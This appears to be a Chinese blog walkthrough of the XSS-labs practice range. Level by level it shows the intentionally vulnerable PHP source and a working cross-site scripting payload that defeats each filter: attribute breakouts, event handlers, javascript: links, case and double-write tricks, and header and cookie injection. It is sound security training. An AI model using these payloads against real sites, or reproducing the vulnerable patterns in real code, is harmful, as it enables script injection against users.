XSS-labs详解
xss-labs下载地址https://github.com/do0dl3/xss-labs
进入靶场点击图片,开始我们的XSS之旅!
Less-1
查看源码
代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
我们修改一下输入尝试一下,没什么难点
直接上payload
<script>alert(1)</script>
点击确认进入下一关
Less-2(闭合)
我们使用第一关的测试方法尝试一下,打咩
直接看源码,看到,尝试一下闭合
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
看一下这个函数htmlspecialchars
"'><script>alert(1)<%2Fscript><"'
Less-3(onclick onfocus事件绕过)
输入数据,尝试一下输出位置,发现三个位置有输出
直接上源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里使用 htmlspecialchars 函数对 $str 进行转义
表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义
我们使用一个onclick事件属性进行一个绕过构造payload
' οnclick='alert(1)
也可以使用onfocus事件进行绕过,构造payload
' οnfοcus='alert(1)
Less-4(onclick onfocus事件绕过闭合)
进入第四关我们依旧尝试之前的语句
' οnclick='alert(1),发现不行
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
改变一下闭合,构造payload
"οnclick="alert(1)
"οnfοcus="alert(1)也行
Less-5(a href 标签绕过)
继续尝试,打咩!
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,这是一种简单的 XSS(跨站脚本攻击)防护手段,用于防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",这是另一种 XSS 防护手段,用于防止某些事件处理程序的注入。
将script和onclick事件全部过滤,我们需要考虑其他的点击事件,且由于有strtolowers(),所有的大写字母都会被转成小写,我们无法使用Onclick进行payload注入,只能新找一个方法进行xss注入,这里我们用a href标签法
构造payload
"><a href=javascript:alert(1)>111</a>
<input name="keyword"><a href=javascript:alert(1)>111</a><"" value="" o_nclick="alert(1)">
Less-6(大小写绕过)
继续使用第五关的payload
发现我们的a href属性被加了一个_
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",防止事件处理程序的注入。
$str4 变量通过 str_replace("src","sr_c",$str3); 将字符串中的 "src" 替换为 "sr_c",防止图片或脚本源的篡改。
$str5 变量通过 str_replace("data","da_ta",$str4); 将字符串中的 "data" 替换为 "da_ta",防止某些利用数据属性的攻击。
$str6 变量通过 str_replace("href","hr_ef",$str5); 将字符串中的 "href" 替换为 "hr_ef",防止链接注入攻击。
这么多过滤但是定睛一看可以用大小写替换进行绕过
构造payload
"aaa Onclick="alert(1)
Less-7(双写绕过)
查看源码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串从 $str 中删除
使用"><a href=javascript:alert(1)>111</a>进行测试发现script直接被过滤了
我们尝试双写进行绕过
"aaa oonnclick="alert(1)
"aaa oonnfocus="alert(1)
Less-8(unicode编码绕过)
看源码就对了
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串替换为它们的变体
测试一下
"><a href=javascript:alert(1)>aaa</a><"
发现a href被添加了下划
javascript:alert(1)
使用Unicode编码在线Unicode编码解码 - 码工具
javascript:alert(1)
Less-9(注释http://绕过)
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
查看源码我们发现if(false===strpos($str7,'http://'))http://被注释掉了我们在之前的语句后加一个http://注释掉//http://
构造payload
javascript:alert(1)//http://
Less-10(隐藏的传参)
继续进行尝试
"><script>alert</script>
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这两行代码对 $str11 变量进行字符串替换操作。首先,它移除了 $str11 中所有的 ">" 字符,然后将结果存储在 $str22 中。接着,它移除了 $str22 中所有的 "<" 字符,并将结果存储在 $str33 中首先,输出一个居中的 <h2> 标题,提示用户没有找到和 $str 相关的结果。这里使用htmlspecialchars() 函数来确保 $str 中的特殊字符被正确转义,接着,输出一个表单,其中包含了三个隐藏的输入字段:t_link、t_history 和 t_sort。前两个字段的值都被设置为空字符串,而第三个字段的值被设置为 $str33(即处理过的 $str11)
修改为text
这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
level10.php?t_sort=" οnfοcus=javascript:alert() type="text"(type谁在前面就用谁)
点击输入框
Less-11(Referer注入)
尝试t_sort=" οnfοcus=javascript:alert() type="text"
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现不一样的是用到了一个html的转义函数
回到第十关点击文本框进入第十一关的时候进行抓包
我们更改一下请求头
'"type='text' οnclick='alert(1)'
Less-12(User Agent注入)
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和上一题差不多抓包构造User Agent的payload
'"type='text' οnclick='alert(1)'
Less-13(cookie注入)
盲猜cookie注入直接抓包
查看源码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
Less-14(这一关有问题直接十五关)
Less15(ng-include文件包涵)
点击跳转有可能路径不对我们注意一下路径
发现只有一个地方有输入
整个nginclude是啥啊,搜一下
他是可以引入某个html页面那我们就把第一关的页面引入尝试一下
我们使用第一关的漏洞出去,尝试发现不行,应该是有过滤把<script>过滤掉了
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签
<img src=1 οnerrοr=alert(1)>'
Less-16(url编码)
测试发现进行了html实体编码
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
我们将空格的编码替换成回车的编码进行尝试UrlEncode - 在线URL网址编码、解码
替换一下
Less-17(embed标签)
我们尝试闭合src增加属性
构造payload
' οnclick=alert()
Less-18(embed标签)
一样的
Less-19-20(flash技术已经全面停用了就不做了)
相关文章:

XSS-labs详解
xss-labs下载地址https://github.com/do0dl3/xss-labs 进入靶场点击图片,开始我们的XSS之旅! Less-1 查看源码 代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面…...
设计模式——模板方法模式封装.net Core读取不同类型的文件
1、模板方法模式 模板方法模式:定义一个操作中的算法骨架,而将一些步骤延迟到子类中,模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。 特点:通过把不变的行为搬移到超类,去除子类中重复的代…...
[思考记录]技术欠账
最近对某开发项目做回顾梳理,除了进一步思考整理相关概念和问题外,一个重要的任务就是清理“技术欠账”。 这个“技术欠账”是指在这个项目的初期,会有意无意偏向快速实现,想先做出来、用起来,进而在实现过程中做出…...

React - 实现菜单栏滚动
简介 本文将会基于react实现滚动菜单栏功能。 技术实现 实现效果 点击菜单,内容区域会自动滚动到对应卡片。内容区域滑动,指定菜单栏会被选中。 ScrollMenu.js import {useRef, useState} from "react"; import ./ScrollMenu.css;export co…...

线性筛选(欧拉筛选)-洛谷P3383
#include <bits/stdc.h> using namespace std; int main() {std::ios::sync_with_stdio(false); cin.tie(nullptr); //为了加速int n, q;cin >> n >> q; vector<int>num(n 1); //定义数字表vector<int>prime; //定义素数表数组num[1] …...

企业微信可以更换公司主体吗?
企业微信变更主体有什么作用?当我们的企业因为各种原因需要注销或已经注销,或者运营变更等情况,企业微信无法继续使用原主体继续使用时,可以申请企业主体变更,变更为新的主体。企业微信变更主体的条件有哪些࿱…...

Qt教程 — 3.6 深入了解Qt 控件:Display Widgets部件(2)
目录 1 Display Widgets简介 2 如何使用Display Widgets部件 2.1 QTextBrowser组件-简单的文本浏览器 2.2 QGraphicsView组件-简单的图像浏览器 Display Widgets将分为两篇文章介绍 文章1(Qt教程 — 3.5 深入了解Qt 控件:Display Widgets部件-CSDN…...

Golang案例开发之gopacket抓包三次握手四次分手(3)
文章目录 前言一、理论知识三次握手四次分手二、代码实践1.模拟客户端和服务器端2.三次握手代码3.四次分手代码验证代码完整代码总结前言 TCP通讯的三次握手和四次分手,有很多文章都在介绍了,当我们了解了gopacket这个工具的时候,我们当然是用代码实践一下,我们的理论。本…...

如何减少pdf的文件大小?pdf压缩工具介绍
文件发不出去,有时就会耽误工作进度,文件太大无法发送,这应该是大家在发送PDF时,常常会碰到的问题吧,那么PDF文档压缩大小怎么做呢?因此我们需要对pdf压缩后再发送,那么有没有好用的pdf压缩工具…...

TypeScript基础类型
string、number、bolean 直接在变量后面添加即可。 let myName: string Tomfunction sayHello(person: string) {return hello, person } let user Tom let array [1, 2, 3] console.log(sayHello(user))function greet(person: string, date: Date): string {console.lo…...

长安链智能合约标准协议第二草案——BNS与DID协议邀请社区用户评审
长安链智能合约标准协议 在智能合约编写过程中,不同的产品及开发人员对业务理解和编程习惯不同,即使同一业务所编写的合约在具体实现上也可能有很大差异,在运维或业务对接中面临较大的学习和理解成本,现有公链合约协议规范又不能完…...

安防监控视频汇聚平台EasyCVR接入海康Ehome设备,设备在线但视频无法播放是什么原因?
安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…...

【Python + Django】表结构创建
以员工管理系统为例。 事前呢,我们先把项目和app创建出来,详细步骤可以看我同栏目的第一篇、第二篇文章。 我知道你们是不会下来找的,就把链接贴在下面吧: 【Python Django】启动简单的文本页面-CSDN博客 【Python Django】…...

解锁编程潜能:ChatGPT如何革新软件开发
目录 一、背景 二、功能描述 三、总结 一、背景 在这个飞速发展的数字时代,软件开发的效率和质量成了衡量一个开发者能力的重要标准。随着人工智能技术的不断进步,越来越多的开发者开始寻找能够提升工作效率的新方法。我就是其中之一,最近…...

内网使用rustdesk进行远程协助
文章目录 前言一、搭建rustdesk中继服务器二、搭建文件下载服务器三、创建引导脚本四、使用 前言 内网没有互联网环境,没法使用互联网上有中继服务器的远程协助工具,如teamviewer、todesk、向日癸等;在内网进行远程维护可以自己搭建中继服务…...

linux内核input子系统概述
目录 一、input子系统二、关键数据结构和api2.1 数据结构2.1.1 input_dev2.1.2 input_handler2.1.3 input_event2.1.4 input_handle 2.2 api接口2.2.1 input_device 相关接口input_device 注册流程事件上报 2.2.2 input handle 相关接口注册 handle指定 handle 2.2.3 input han…...
【解决报错】vi/vim修改文件时报错:Found a swap file by the name xxxxx
目录 报错内容报错原因解决方法 报错内容 vim打开文件提示: Found a swap file by the name xxxxx报错原因 使用vi或vim编辑器编写代码时由于网络不稳定(或其他种种原因)断开了连接,编辑好的代码没有运行和保存,再次…...

BRAM底层原理详细解释(1)
目录 一、原语 二、端口简述 2.1 端口简介 2.2 SDP端口映射 三、端口信号含义补充说明 3.1 字节写使能(Byte-Write Enable)- WEA and WEBWE: 3.2 地址总线—ADDRARDADDR and ADDRBWRADDR 3.3 数据总线—DIADI, DIPADIP, DIBDI, and D…...
GEE:为什么在机器学习分类或回归时,提取特征变量后的样本点下载到本地时,数据为空且缺少坐标?
作者:CSDN @ _养乐多_ 在博客《GEE:随机森林分类教程(样本制作、特征添加、训练、精度、参数优化、贡献度、统计面积)》和《GEE:随机森林回归预测教程(样本点、特征添加、训练、精度、参数优化、贡献度)》中,详细记录了在 Google Earth Engine(GEE)平台上进行机器学…...

电脑安装双系统windows和ubuntu server
1.创建Ubuntu-server的启动盘 首先要从官网下载Ubuntu-server18.04的ISO文件,用rufs烧录到U盘。如下所示 2. 磁盘分区 在windows创建两个盘(linuxboot 和linuxroot),后面一个一个用于boot,一个用于root. 3.开机U盘启…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...

【力扣数据库知识手册笔记】索引
索引 索引的优缺点 优点1. 通过创建唯一性索引,可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度(创建索引的主要原因)。3. 可以加速表和表之间的连接,实现数据的参考完整性。4. 可以在查询过程中,…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...

微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...

GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...

【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...
libfmt: 现代C++的格式化工具库介绍与酷炫功能
libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库,提供了高效、安全的文本格式化功能,是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全:…...